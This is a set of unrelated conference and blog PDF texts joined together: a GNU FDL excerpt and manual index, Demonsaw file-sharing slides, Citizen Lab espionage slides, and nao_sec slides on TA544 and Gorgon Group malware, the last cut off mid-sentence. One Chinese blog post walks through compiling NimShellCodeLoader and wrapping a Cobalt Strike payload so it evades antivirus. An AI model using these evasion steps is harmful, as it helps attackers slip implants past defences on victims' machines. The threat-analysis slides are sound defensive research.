their text and in their titles. Section numbers or the equivalent are not considered part of the section titles. M. Delete any section Entitled “Endorsements”. Such a section may not be included in the Modified Version. N. Do not retitle any existing section to be Entitled “Endorsements” or to conflict in title with any Invariant Section. O. Preserve any Warranty Disclaimers. If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their Appendix A: GNU Free Documentation License 16 titles to the list of Invariant Sections in the Modified Version’s license notice. These titles must be distinct from any other section titles. You may add a section Entitled “Endorsements”, provided it contains nothing but endorsements of your Modified Version by various parties—for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard. You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one. The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version. 5. COMBINING DOCUMENTS You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers. The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work. In the combination, you must combine any sections Entitled “History” in the vari- ous original documents, forming one section Entitled “History”; likewise combine any sections Entitled “Acknowledgements”, and any sections Entitled “Dedications”. You must delete all sections Entitled “Endorsements.” 6. COLLECTIONS OF DOCUMENTS You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects. You may extract a single document from such a collection, and distribute it individu- ally under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document. Appendix A: GNU Free Documentation License 17 7. AGGREGATION WITH INDEPENDENT WORKS A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an “aggregate” if the copyright resulting from the compilation is not used to limit the legal rights of the compilation’s users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document. If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document’s Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate. 8. TRANSLATION Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail. If a section in the Document is Entitled “Acknowledgements”, “Dedications”, or “His- tory”, the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title. 9. TERMINATION You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License. However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it. Appendix A: GNU Free Documentation License 18 10. FUTURE REVISIONS OF THIS LICENSE The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/. Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License “or any later version” applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy’s public statement of acceptance of a version permanently authorizes you to choose that version for the Document. 11. RELICENSING “Massive Multiauthor Collaboration Site” (or “MMC Site”) means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A “Massive Multiauthor Collaboration” (or “MMC”) contained in the site means any set of copyrightable works thus published on the MMC site. “CC-BY-SA” means the Creative Commons Attribution-Share Alike 3.0 license pub- lished by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization. “Incorporate” means to publish or republish a Document, in whole or in part, as part of another Document. An MMC is “eligible for relicensing” if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008. The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing. Appendix A: GNU Free Documentation License 19 ADDENDUM: How to use this License for your documents To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page: Copyright (C) year your name. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled ‘‘GNU Free Documentation License’’. If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the “with. . .Texts.” line with this: with the Invariant Sections being list their titles, with the Front-Cover Texts being list, and with the Back-Cover Texts being list. If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation. If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software. Appendix B: Concept Index 20 Appendix B Concept Index A anchored search. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 E event designators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 H history events. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 history expansion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 History Searching. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 Appendix C: Function and Variable Index 21 Appendix C Function and Variable Index A add_history. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 add_history_time . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 append_history . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 C clear_history . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 current_history . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 F free_history_entry . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 G get_history_event. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 H history_arg_extract . . . . . . . . . . . . . . . . . . . . . . . . . . 8 history_base . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 history_comment_char . . . . . . . . . . . . . . . . . . . . . . . . . 9 history_expand . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 history_expansion_char . . . . . . . . . . . . . . . . . . . . . . . 9 history_get. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 history_get_history_state . . . . . . . . . . . . . . . . . . . 5 history_get_time . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 history_inhibit_expansion_function . . . . . . . . . 9 history_is_stifled . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 history_length . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 history_list . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 history_max_entries . . . . . . . . . . . . . . . . . . . . . . . . . . 9 history_no_expand_chars. . . . . . . . . . . . . . . . . . . . . . 9 history_quotes_inhibit_expansion . . . . . . . . . . . 9 history_search . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 history_search_delimiter_chars. . . . . . . . . . . . . . 9 history_search_pos . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 history_search_prefix . . . . . . . . . . . . . . . . . . . . . . . . 7 history_set_history_state . . . . . . . . . . . . . . . . . . . 5 history_set_pos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 history_subst_char . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 history_tokenize . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 history_total_bytes . . . . . . . . . . . . . . . . . . . . . . . . . . 6 history_truncate_file . . . . . . . . . . . . . . . . . . . . . . . . 8 history_word_delimiters. . . . . . . . . . . . . . . . . . . . . . 9 history_write_timestamps. . . . . . . . . . . . . . . . . . . . . 9 N next_history . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 P previous_history . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 R read_history . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 read_history_range . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 remove_history . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 replace_history_entry . . . . . . . . . . . . . . . . . . . . . . . . 5 S stifle_history . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 U unstifle_history . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 using_history . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 W where_history . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 write_history . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
pdf
Saving Cyberspace by Reinventing File Sharing Eijah v1.02 The Modern Internet The Price of Convenience “…One  can  easily  remain  free  of  even  the  most  intense  political  oppression  simply  by  placing  one’s  faith  and  trust  in   institutions of authority.”   – Glenn Greenwald “When  I  am  afraid,  I  put  my  trust  in  you.”   – Psalm 56:3 3 A State of Trust • Technological Innovation • Open source • Web and data standards • Shared protocols • Interoperability • Benefits • Cost effective applications • Faster time-to-market • Cross-domain content • Convenience 4 ? Trust Convenience Control Change A State of Convenience • Benefits • Improved application usability • Google/FB login • Everything at our fingertips • Multiple devices linked to accounts • Simplification • Ease of cross-domain navigation • Concerns • Privacy • Anonymity • Potential for abuse • Loss of control 5 ? Trust Convenience Control Change A State of Control • Questions • Who owns our data? • Are we simply a source? • Are we greater than the sum? • Loss of Control • Data retention and oversight • Legal compliance • Security breaches • Overall transparency • The bottom line 6 ? Trust Convenience Control Change A State of Change • The Truth • Convenience  doesn’t  require  trust • No need to give up control • The power to change the world • The Path Forward • Become advocates for distrust • Break the mold of old and stale thinking • Create something secure and beautiful • Open up the Internet for Digital Self Expression 7 ? Trust Convenience Control Change A Brief History From FTP to µTorrent “The  increase  of  disorder  or  entropy  is  what  distinguishes  the  past  from  the  future,  giving  a  direction  to  time.” – Stephen Hawking, A Brief History of Time “Information  is  power.    But  like  all  power,  there  are  those  who  want  to  keep  it  for  themselves.” – Aaron Swartz 8 Centralized Model • Client-Server • S/FTP • Usenet • IRC • File Systems • NTFS • Samba • NFS • Web-Based • MediaFire • Mega(upload) • RapidShare • Streaming • Netflix • Amazon Prime • HBO Go • Revision 3 • Crackle • Hulu (+) • Aereo (RIP) • Cloud Computing • Microsoft Azure, OneDrive • Amazon Web Services • Google Drive • Dropbox 9 C2 C0 C3 C5 C4 C1 S1 Decentralized Model • Peer-to-Peer • BitTorrent • Instant Messenger • IRC (DCC) • Napster • Content Distribution • Rsync • Plex • Streaming • XBMC • Chromecast • DLNA 10 C3 C4 C5 C0 C1 C2 File Sharing Problems • Insecure • Trust a 3rd party source • Reveal your identity • Legality issues • Inflexible • Available everywhere at all times? • Force-sync content across all devices? • What if I'm offline? • Inconvenient • Watch the show that I am paying for • Ads are an antiquated revenue model 11 File Sharing Problems • Unreliable • Exclusive content and licensing disputes • Network outages • Not enough seeds • Expensive • Dropbox • The Cloud • Netflix, Amazon Prime • HBO Go • Unfair • Not all usage patterns are the same • Acquisition vs. Aggregation 12 Hybrid Model • Inadequacy Breeds Innovation • Created a niche market for solutions • VPN’s,  proxies,  firewalls • Darknet, PeerBlock, Tor • Local AP’s • Cure the symptoms, not the problem • Reinventing File Sharing • Leverage the power of our Internet access • Create a hybrid model • The best of the Centralized and Decentralized models • Secure, anonymous, free, everywhere 13 C1 C0 C2 C3 S0 S1 R0 A Recipe for Change From Lemons to Fruity Juice “If  you  want  to  achieve  something,  you  build  the  basis  for  it.” – Noam Chomsky “The only  way  to  keep  a  secret  is  to  never  have  one.” – Julian Assange 14 1) Authoritative Source • Overview • Primary repository of trusted data • Give away the Authoritative Source… • Give away the control of our sensitive data • Data • The foundation of file sharing • First to be secured • Last to be compromised • The price of online data storage • Should never leave our control Saving Cyberspace means that we need to reclaim the Authoritative Source 15 1) Authoritative Source • Including… • The power  to  protect  what’s  ours • The certainty that our data is protected • The choice to respond to attacks • The ability to remain anonymous • The Solution • Take responsibility • Reclaim the Authoritative Source • Do what companies continue to fail at • Secure our data Saving Cyberspace means that we need to reclaim the Authoritative Source 16 2) Stateless Authentication • Overview • What does it mean to authenticate? • Stateful • Data storage • Antiquated and unnecessary • Rely on trusted 3rd parties • Stateless • Form of shared secret authentication • Mutual coexistence by shared knowledge • Shared secret is obvious to a very specific group • No registration process or data storage • Dynamic encryption algorithms can be used • Benefits Saving Cyberspace means that we will need to redefine authentication 0xEFF C2 C1 0x0FF C0 17 2) Stateless Authentication • The Solution • Redefine what it means to authenticate • Create temporary trust • Social network shared secrets • No data is stored • Loss of security becomes insignificant • Transitory nature of stateless authentication • Ability to quickly alter dynamic encryption scheme Saving Cyberspace means that we will need to redefine authentication 0xEFF C2 C1 0x0FF C0 18 3) Modular Security • Overview • Based on Layered Security • Division of authority and separation of duties • Double-blind • Inability to store complete secrets • Existing Applications • Tempting targets for takedown • Too many single points of failure • Reveal too much information Saving Cyberspace means that we will need to implement a modular approach to security 19 C1 2 1 3 4 5 6 2 1 3 4 5 6 S0 2 1 3 4 5 6 R0 2 1 3 4 5 6 C0 3) Modular Security • Plausible Deniability • Always assume somebody is listening • It’s  better  to  be  paranoid  than  to  be  caught • What  they  don’t  know  won’t  hurt  you • They  can’t  audit  what  you  don’t  have • The Solution • Multiple modules of defense resist penetration • Messages increase strength as they propagate • Each  module  is… • Isolated • Autonomous • Self-sufficient • Resistant to attacks Saving Cyberspace means that we will need to implement a modular approach to security 20 C1 2 1 3 4 5 6 2 1 3 4 5 6 S0 2 1 3 4 5 6 R0 2 1 3 4 5 6 C0 4) Standard Protocols • Overview • Our choice of protocol does not define us • Creating a file sharing app is art and science • Creating a message protocol is wizardry • Benefits • Obfuscation • Interoperability • Undetectable transfers • The Solution • Keep a low profile • Use pre-existing protocols and standards • HTTP, XML, JSON, etc. Saving Cyberspace means that we need to leverage existing protocols 21 XML C0 C1 JSON TCP/IP HTTP S0 S1 5) Distributed Endpoints • Overview • Simple and effective • Individuals, families, and organizations • Devices • Phones, tablets • Workstations, Servers, and Laptops • Low-power devices • Raspberry Pi • Ouya • Operating Systems • Windows, Linux, Mac • Android, iOS Saving Cyberspace means that we will need to support a more flexible and adaptive model for file sharing 22 XML C0 C1 JSON TCP/IP HTTP S0 S1 0xEFF • The Solution • Hybrid Model • Based on network routing technologies • Abstract content from transfer • No fixed servers • No client communication • Pervasive and ubiquitous • Secure, anonymous, free, everywhere Saving Cyberspace means that we will need to support a more flexible and adaptive model for file sharing 23 5) Distributed Endpoints XML C0 C1 JSON TCP/IP HTTP S0 S1 0xEFF Believe in the Right to Share “I  don’t  want  to  live  in  a  world  where  there’s  no  privacy,  and  therefore  no  room  for  intellectual  exploration  and  creativity.” – Edward Snowden “People  who  think  they  know  everything  really  annoy  those  of  us  who  know  we  don't.” – Bjarne Stroustrup 24 The Missing Link • Another File Sharing App? • Casual Dropbox user with an addiction to torrents • Not happy with the current state of file sharing apps • Share with friends, family, and/or strangers • Access to all my content from anywhere in the world • Convenience and control • Why  doesn’t  a  solution for me already exist? • This is a problem that we can solve 25 Demonsaw • Client • Join a group • Search, browse • Share, transfer files • Router • Groups clients • Controls program flow • Data transfer • Server • Data transfer through a (web) hosting provider • Demo 26 Demonsaw • Secure • No P2P • No centralized servers • Encrypted • Everything is encrypted • Leverage encryption standards • Varying encryption types and algorithms • Mutating, Automatic, Isolated, Data-Driven, and Stateless • Diffie Hellman, AES, etc. • Varying encryption techniques • Messages and data are always encrypted differently • Authentication, authorization 27 Demonsaw • Anonymous • No logging • No registration • No data retention • No loss of control • Modular • Separation of messages and content • Unable to deduce the type of content exchange • Need-to-know basis • Free • No ads 28 Demonsaw • Simple • Share, Search, Browse, Transfer • Use at home, work, or while traveling • Everywhere • Windows, Linux, Mac • Android, iOS • Web • Design Patterns • Entity Component System (ECS) • Faster, more flexible, and easier to extend 29 Demonsaw • Silent and Unseen • Leverage standards • Avoid suspicion • Remain undetectable • Flexible and Adaptive • A million file sharing networks • Share files with yourself • Share files with family and friends • Share files with an organization 30 Individual R0 C3 C1 C2 C0 0xEFF 31 Friends and Family 32 R0 C3 C1 C2 C0 S0 0xEFF S1 Organization 33 0xEFF 0x0FF R0 C0 C3 C2 C5 C4 S3 S0 S2 C1 S1 0xCAD 0xEFF S6 S4 S5 R1 C8 C6 C7 C9 S7 Session Propagation 0xEFF Summary The Path Forward “Only  a  life  lived  for  others  is  a  life  worthwhile.” – Albert Einstein “And  one  more  thing.” – Steve Jobs 34 Changing the World • Unbounded Potential • Possess a tremendous amount of talent • Good at what we do and we enjoy what we're good at • We can create something new and beautiful • Together we can change the world • Enacting Change • Demonsaw is a tool • Deviate from the insecure models of file-sharing • New way to share our content without fear • Secure, Anonymous, Free, Everywhere 35 Thank you www.demonsaw.com [email protected] @demon_saw Eijah 36 Appendix Standing on the Shoulders of Giants “Freedom  is never more than one generation away from extinction. We didn't pass it to our children in the bloodstream. It must be fought for, protected, and handed on for them to do the same.” – Ronald Reagan “Then  Jesus  asked  him,  What  is  your  name?  My  name  is  Legion,  he  replied,  for  we  are  many.” – Mark 5:9 38 References • Wikipedia • http://en.wikipedia.org/wiki/File_sharing • http://en.wikipedia.org/wiki/Client_server • http://en.wikipedia.org/wiki/Peer_to_peer • Images • http://studentaffairs.duke.edu/sites/default/files/u7/dos_RIAA.png • https://www.flickr.com/photos/hughelectronic/sets/72157603862426534 • http://www.timeshighereducation.co.uk/news/academy-and-business-aim-to-reforge- language-supply-chain/2007785.article • Network Models • http://www.ianswer4u.com/2011/05/client-server-network-advantages- and.html#axzz3681DuDJP • http://www.ianswer4u.com/2011/05/peer-to-peer-network-p2p-advantages- and.html#axzz3681DuDJP • http://www.cmswire.com/cms/document-management/the-business-benefits-of-hybrid- online-file-sharing-024182.php • http://www.workshare.com/workshare/esg-report-the-demand-for-hybrid-online-file- sharing-solutions 39 Quotes “When  I  am  afraid,  I  put  my  trust  in  you.”   – Psalm 56:3 “If  you  want  to  achieve  something,  you  build  the  basis  for  it.” – Noam Chomsky “Freedom  is  never  more  than  one  generation  away  from  extinction.  We  didn't  pass  it  to  our  children  in  the  bloodstream.  It   must  be  fought  for,  protected,  and  handed  on  for  them  to  do  the  same.” – Ronald Reagan “The  increase  of  disorder  or  entropy  is  what  distinguishes  the  past  from  the  future,  giving  a  direction  to  time.”   – Stephen Hawking, A Brief History of Time “Information  is  power.  But  like  all  power,  there  are  those  who  want  to  keep  it  for  themselves.” – Aaron Swartz “I  don’t  want  to  live  in  a  world  where  there’s  no  privacy,  and  therefore  no  room  for  intellectual  exploration  and  creativity.” – Edward Snowden “People  who  think  they  know  everything  really  annoy  those  of  us  who  know  we  don't.” – Bjarne Stroustrup “If  life  gives  you  lemons,  make  some  kind  of  fruity  juice.” – Conan  O’Brien 40 Quotes “The  only  way  to  keep  a  secret  is  to  never  have  one.” – Julian Assange “You  can  now  be  a  master  of  your  own  destiny.” – Sean Parker “Only  a  life  lived  for  others  is  a  life  worthwhile.” – Albert Einstein “And  one  more  thing.” – Steve Jobs “Non-conformity  is  the  only  real  passion  worth  being  ruled  by.” – Julian Assange “…One  can  easily  remain  free  of  even  the  most  intense  political  oppression  simply  by  placing  one’s  faith  and  trust  in   institutions  of  authority.”   – Glenn Greenwald “When  the  man  with  the  demon saw Jesus  a  long  way  off,  he  ran  and  worshiped  Him.” – Mark 5:6 “Then  Jesus  asked  him,  What  is  your  name?  My  name  is  Legion,  he  replied,  for  we  are  many.” – Mark 5:9 41 Demo Demonsaw 1.0 “Non-conformity  is  the  only  real  passion  worth  being  ruled  by.” – Julian Assange “You can now be a master of your own destiny.” – Sean Parker 42 Search 43 Browse 44 Transfer 45 Share 46
pdf
Trooping to Taiwan: Technical Sophistication and Connections in Closed Espionage Ecosystems Matt Brooks, Citizen Lab Campaign Connections Challenges Conclusion Campaign DMShell++ Campaign Success • At least one target fell victim • Interesting post-compromise tactic • Detection avoidance? • Better server-side component? • Hand-off Campaign Takeaways • Largely based on publicly available content • Excellent social engineering, average technical sophistication • No 0day • Custom implants • Still successful Campaign Connections Campaign Connections Challenges Connections • First order - directly observed • Second order - infrastructure • Nth order • Code reuse? • Shared development technique? • Uncommon naming convention? Closed Espionage Ecosystems Su Bin Arrested: 28 June 2014 Sentenced: 13 July 2016 Worked with 2 unnamed co-conspirators to identify and sell information stolen using malware intrusions Interesting glimpse into resources of people and organizations responsible for malware intrusions Group Size Source: Source: https://www.justice.gov/opa/pr/chinese-national-pleads-guilty-conspiring-hack-us-defense-contractors-systems-steal-sensitive Cost Source: Source: https://www.justice.gov/opa/pr/chinese-national-pleads-guilty-conspiring-hack-us-defense-contractors-systems-steal-sensitive Final Customer Source: Source: https://www.justice.gov/opa/pr/chinese-national-pleads-guilty-conspiring-hack-us-defense-contractors-systems-steal-sensitive Final Customer Source: Source: https://www.justice.gov/opa/pr/chinese-national-pleads-guilty-conspiring-hack-us-defense-contractors-systems-steal-sensitive Additional Collection Priorities Source: Source: https://www.justice.gov/opa/pr/chinese-national-pleads-guilty-conspiring-hack-us-defense-contractors-systems-steal-sensitive Campaign Connections Challenges Conclusion Parting Thoughts ● There are enough public, basic tools enabling average actors to cause harm ● Closed espionage ecosystems make it difficult to accurately segment and describe harms ● Interesting future work to be done on formal methods and campaign connections Civil Society Coordination Problem Victims -> Researchers ● Awareness ● Lack of trusted contacts ● Privacy concerns ● Researcher incentives Researchers -> Victims ● “Nexus-only” knowledge ● Lack of trusted contacts ● Cannot close the loop ● Investigative concerns The Public’s Problem ● The public interest is in having a safe, healthy, and fully-functioning society ● Civil Society has long been a part of pushing societal limits ● Internet plays an increasingly critical role ● Awareness of targeted surveillance impacts to CSOs is important Thanks • Fellow Labbers • Tibetan Action Institute • PassiveTotal
pdf
一分钟免杀cobaltstrike 收录于话题 #cobaltstrike 1 #免杀 1 #渗透测试 48 #内网安全 3 #代码 2 简要介绍 本次利用到的是Nim语言 1.Nim 是一门开源的编程语言 2.Nim 的独到之处在于它可以编译成其他编程语言代码(主要是 C 语言和 JavaScript) 3.将 Nim 与 C 语言或 JavaScript 代码集成在一起可以获得最大的价值 4.Nim 可以生成高质量的 C 语言代码,避免出现 C 语言的典型错误(如内存泄露和数组指针错误) 下载Nim安装包 https://nim-lang.org/install.html 官方提供Windows、Linux、Mac版本,根据自己的需求进行下载 本次使用Windows环境做演示 小生观察室 本观察室仅个人做内容存档使用! 63篇原创内容 公众号 前天 原创 Kobefanss 小生观察室 下载解压后需将 bin 目录添加到环境变量 安装C、C++编译器 Nim编译器需要C编译器才能编译软件 下载地址 https://github.com/GorvGoyl/MinGW64/releases 将文件解压到nim目录的 dist 路径下,并将 D:\nim-1.4.8\dist\MinGW64\bin 添加至环境变量 encryption编译 下载地址 https://github.com/aeverj/NimShellCodeLoader/releases 下载解压后进入 NimShellCodeLoader_Winx64\NimShellCodeLoader\encryption 目录,利用下面 的代码进行编译 nim c -d:release --opt:size Tdea.nim nim c -d:release --opt:size Caesar.nim 免杀详情 利用 Nim+NimShellCodeLoader 可以有10多种免杀方式绕过全网杀软,这里演示其中一种 cobaltstrike生成 raw 格式 64位 的 payload.bin 文件 打开 codeLoader.exe 图形化界面,将 payload.bin 直接拖进来 这里选择的是直接加载 TDEA -- Direct Load 选好加载方式和加密方式,点击 generate 即可导出 输出生成的可执行文件在 NimShellCodeLoader_Winx64\NimShellCodeLoader\bin 目录 最终效果 本地测试火绒、360、管家等均可免杀,并附上VT和CS正常上线结果 喜欢此内容的人还喜欢 【Flink】第二十六篇:源码角度分析Task执行过程 章鱼沉思录 2021年vue和react如何选择 程序那些事儿 springboot 项目敏感信息脱敏实践 地道程序员
pdf
Copyright©2019 nao_sec All Rights Reserved. 1 Copyright©2019 nao_sec All Rights Reserved. Who are we • Shota Nakajima • Malware Analyst • Engage in incident response • Work at Cyber Defense Institute, Inc. in Japan • Rintaro Koike • Chief researcher / founder of nao_sec • Threat Hunter • Malicious traffic / script / document analyst • Especially Drive-by Download attack 2 Copyright©2019 nao_sec All Rights Reserved. Public Service for Hunting • VirusTotal • Private API • Yara (Live & Retro Hunt) • Hybrid Analysis • Yara (Retro Hunt) • ATT&CK Tactic & Technique • ANY.RUN • ATT&CK Technique • Suricata SID 3 Copyright©2019 nao_sec All Rights Reserved. VirusTotal Private API • Our queries • maldoc(0 < positive) submitter JP • suspicious(0 < positive) zip submitter JP • suspicious(0 < positive) lnk submitter JP • suspicious(0 < positive) rtf submitter JP • email submitter JP 4 Copyright©2019 nao_sec All Rights Reserved. VirusTotal Private API • Engines • if you want hunt specified family 5 Copyright©2019 nao_sec All Rights Reserved. VirusTotal Livehunt • Have been set following rules • CVE_2018_0798 • CVE_2017_11882 • CVE_2018_0802 • CVE_2018_20250 6 Copyright©2019 nao_sec All Rights Reserved. Hybrid Analysis 7 Copyright©2019 nao_sec All Rights Reserved. Hybrid Analysis 8 Copyright©2019 nao_sec All Rights Reserved. ANY.RUN 9 Copyright©2019 nao_sec All Rights Reserved. T1170 - Mshta 10 Copyright©2019 nao_sec All Rights Reserved. Gorgon Group 11 Copyright©2019 nao_sec All Rights Reserved. T1085 – Rundll32 12 Copyright©2019 nao_sec All Rights Reserved. OceanLotus 13 Copyright©2019 nao_sec All Rights Reserved. T1137 - Office Application Startup 14 Copyright©2019 nao_sec All Rights Reserved. Tick 15 Copyright©2019 nao_sec All Rights Reserved. TA544 16 Copyright©2019 nao_sec All Rights Reserved. TA544 • Attack by TA544 (Cutwail-A / invoice) Group • Maldoc disguised as a purchase order, bill etc... • The purpose is to infect Ursnif and steal user information • Attack campaign has been observed since around June 2016 • Started to use steganography after October 24, 2018 • Started to detect the environment after December 18, 2018 • The same attack has been observed in Italy • https://blog.yoroi.company/research/ursnif-long-live-the-steganography/ 17 Copyright©2019 nao_sec All Rights Reserved. TA544 • Attack by TA544 (Cutwail-A / invoice) Group 1. Send E-mail with attached (Excel) file from Cutwail Botnet 2. Macro runs when opening Excel file 3. Processing transition from macro to PowerShell 4. PowerShell runs Bebloh (URLZone) 5. Bebloh downloads and runs Ursnif 18 Copyright©2019 nao_sec All Rights Reserved. 2018-12-18 19 Copyright©2019 nao_sec All Rights Reserved. Excel Macro 20 Copyright©2019 nao_sec All Rights Reserved. xlCountrySetting 21 Copyright©2019 nao_sec All Rights Reserved. Invoke-PSImage 22 Copyright©2019 nao_sec All Rights Reserved. Get-Culture 23 Copyright©2019 nao_sec All Rights Reserved. Invoke-ReflectivePEInjection DLL version of Bebloh runs fileless 24 Copyright©2019 nao_sec All Rights Reserved. [2019-02-11] CultureInfo.CurrentCulture 25 Copyright©2019 nao_sec All Rights Reserved. [2019-02-18] Format Currency 26 Copyright©2019 nao_sec All Rights Reserved. [2019-02-26] IP address geolocation 27 Copyright©2019 nao_sec All Rights Reserved. [2019-02-28] GetUserDefaultLCID and GetLocaleInfo 28 Copyright©2019 nao_sec All Rights Reserved. [2019-03-06] Symbol programming 29 Copyright©2019 nao_sec All Rights Reserved. [2019-03-06] Steganography by .NET Assembly 30 Copyright©2019 nao_sec All Rights Reserved. Interesting features • Steganography (Invoke-PSImage) • In the process, additional code or Bebloh is generated from the data embedded in the image file • Attack campaigns that use steganography continuously are rare...? • Environmental detection • Check multiple times whether exectution environment is correct as target • OS language・Currency setting、IP address geoLocation • Analysis interference • Bebloh runs fileless • Invoke-ReflectivePEInjection • Multiple obfuscation, dynamic execution, processing in multiple language • Obfuscation like jjencode 31 Copyright©2019 nao_sec All Rights Reserved. Summary • The techniques used by the TA544 are evolving • Steganography (PowerShell & .NET) • Environmental detection • xlCountrySetting • Get-Culture • CultureInfo.CurrentCulture • Format Currency • GetUserDefaultLCID + GetLocaleInfo • Fileless execution • Invoke-ReflectivePEInjection →Monitor and limit the execution of macro and PowerShell properly →Early threat information collection and deployment 32 Copyright©2019 nao_sec All Rights Reserved. Gorgon Group 33 Copyright©2019 nao_sec All Rights Reserved. Gorgon Group • Gorgon Group has been targeted UK, Spain, Russia and USA government • Related to Pakistan actors • Using public service • Bitly • Pastebin • Blogger 34 Copyright©2019 nao_sec All Rights Reserved. Macro 35 Copyright©2019 nao_sec All Rights Reserved. Access to Bitly link 36 Copyright©2019 nao_sec All Rights Reserved. Access to 